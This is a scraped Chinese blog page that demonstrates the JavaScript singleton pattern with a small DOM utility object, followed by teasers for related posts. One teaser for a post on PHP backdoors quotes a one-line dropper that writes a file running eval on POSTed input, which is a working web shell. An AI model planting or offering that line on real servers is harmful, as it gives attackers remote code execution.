<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>单例模式——在js中就是指的单个对象，可用于命名空间声明</title>

</head>
<body>
    <div id="box"></div>
</body>
<script type="text/javascript">
/***
*此示例就是典型的js单例模式，是简约版属性样式方法库
*/
var A = {
    //获取元素，并返回
    getid:function(id){
        return document.getElementById(id);
    },
    //设置元素css属性
    css:function(id,key,value){
        document.getElementById(id).style[key] = value;
    },
    //设置元素属性
    attr:function(id,key,value){
        document.getElementById(id)[key] = value;
    },
    //设置元素显示内容
    html:function(id,html){
        document.getElementById(id).innerHTML = html;
    },
    //为元素绑定事件处理程序
    on:function(id,type,fn){
        document.getElementById(id)['on'+type] = fn;

}
};

//测试用例:通过这个代码库我们再操作元素样式属性就方便多了
A.css('box','background','olive');
A.css('box','width','400px');
A.css('box','height','400px');
A.css('box','border','2px solid blue');
// A.attr('box','className','boxstyle');
A.html('box','这里添加要显示的内容文本');
A.on('box','click',function(){
    A.css('box','width','500px');
    A.css('box','background','green');
});

//本例已经通过验证
</script>
</html>

js原生设计模式——8单例模式之简约版属性样式方法库的更多相关文章

  1. js原生设计模式——8单例模式

    1.单例模式——在js中就是指的单个对象,可用于命名空间声明 2.示例 <!DOCTYPE html><html lang="en"><head> ...

  2. 大熊君说说JS与设计模式之------单例模式Singleton（）

    一,总体概要 1,笔者浅谈 顾名思义单例模式并不难理解,是产生一个类的唯一实例,在我们实际开发中也会使用到这种模式,它属于创建模式的一种,基于JS语言本身的语法特征, 对象直接量“{}”,也可以作为单 ...

  3. js原生设计模式——4安全的工厂方法模式之Factory方法模式

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...

  4. js原生设计模式——4安全的工厂方法模式之oop编程增强版

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...

  5. js原生设计模式——3简单工厂模式\简单工厂模式封装简单对象

    1.Factory基本写法 <!DOCTYPE html><html lang="en"><head>    <meta charset= ...

  6. js原生设计模式——2面向对象编程之继承—多继承

    1.单对象克隆 <!DOCTYPE html><html lang="en"><head>    <meta charset=" ...

  7. js原生设计模式——2面向对象编程之继承—原型继承(类式继承的封装)

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...

  8. js原生设计模式——2面向对象编程之继承—new+call(this)组合式继承

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...

  9. js原生设计模式——2面向对象编程之继承—call(this)构造函数式继承

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...

随机推荐

  1. oracle查询每个表的占用空间

    Select Segment_Name,Sum(bytes)/1024/1024 From User_Extents Group By Segment_Name order by Sum(bytes) ...

  2. mysql 本地操作

    先把数据库传到根目录 再直接导入  没有50M限制root@b101 [/home/user/www]# mysql -uusername_007li -ppasswd -D dbname_li12d ...

  3. php后门屌炸天

    fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然 ...

  4. flexpaper二次开发

    1.首先下载FlexPaper的源码.下载地址 2.本人不懂flash,只是百度下,然后自己瞎弄弄的.我用的flash build 4.5 提供个key:1499-4181-9296-6452-299 ...

  5. Struts2---声明式异常处理

    在service方法里 throw抛出一个异常, 然后再方法声明上加上throws: public List<Category> list() throws SQLException{ C ...

  6. 关于IP选项

    源:关于IP选项 校验和算法

  7. STM32的时钟树深入详解以及RCC配置

    在STM32上如果不使用外部晶振,OSC_IN和OSC_OUT的接法 如果使用内部RC振荡器而不使用外部晶振,请按照下面方法处理: 1)对于100脚或144脚的产品,OSC_IN应接地,OSC_OUT ...

  8. iOS学习笔记（十三）——获取手机信息（UIDevice、NSBundle、NSLocale）

    iOS的APP的应用开发的过程中,有时为了bug跟踪或者获取用反馈的需要自动收集用户设备.系统信息.应用信息等等,这些信息方便开发者诊断问题,当然这些信息是用户的非隐私信息,是通过开发api可以获取到 ...

  9. 制作毛玻璃效果 分类： ios技术 2015-07-14 09:03 240人阅读 评论(0) 收藏

    //添加一个图片     UIImageView *imageview = [[UIImageView alloc]init];     imageview.frame = CGRectMake(10 ...

  10. NSString总结

    [from]http://www.jianshu.com/p/7994b0ad6b88 问题:NSString到底是不是字符串? NSString 是 OC中专门处理字符串的对象!提供了转换大小写,拼 ...